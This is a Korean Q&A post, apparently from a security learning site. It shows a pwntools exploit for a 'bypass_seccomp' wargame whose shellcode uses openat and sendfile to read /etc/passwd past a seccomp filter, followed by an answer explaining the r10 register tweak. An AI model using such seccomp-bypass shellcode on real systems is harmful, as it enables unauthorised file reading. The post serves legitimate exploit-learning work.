완료됨
bypass_seccomp 익스플로잇 코드

from pwn import *
context.arch = 'x86_64'
p = process("./bypass_seccomp")
shellcode = shellcraft.openat(0, "/etc/passwd")
shellcode += 'mov r10, 0xffff'
shellcode += shellcraft.sendfile(1, 'rax', 0).replace("xor r10d, r10d","")
shellcode += shellcraft.exit(0)
p.sendline(asm(shellcode))
p.interactive()

위 코드에서 "mov r10, 0xffff"는 어떤 의미인지 sendfile 뒤 replace("xor r10d, r10d", "")는 왜 쓰이는 건가요?

#시스템해킹 #공격기법 #seccomp
작성자 정보
더 깊이 있는 답변이 필요할 때
드림핵 팀과 멘토에게 직접 문의해 보세요!
답변 1

r10이라는 레지스터에 0xffff 값을 넣는다는 의미이고, replace를 하는 이유는 자동으로 생성된 쉘코드에 r10 레지스터를 초기화하는 부분이 있어서 해당 부분을 없애주는 것으로 보입니다.

r10 레지스터를 건드리는 이유는 리눅스 호출 규약 상 시스템 콜에는 4번째 인자로 rcx 대신 r10 레지스터가 이용되기 때문일겁니다. 실제로 쉘코드를 분석해봐야 알겠지만 그냥 sendfile 함수의 4번째 인자인 count 값을 늘려주는 행위로 보이네요.

2022.05.18. 18:20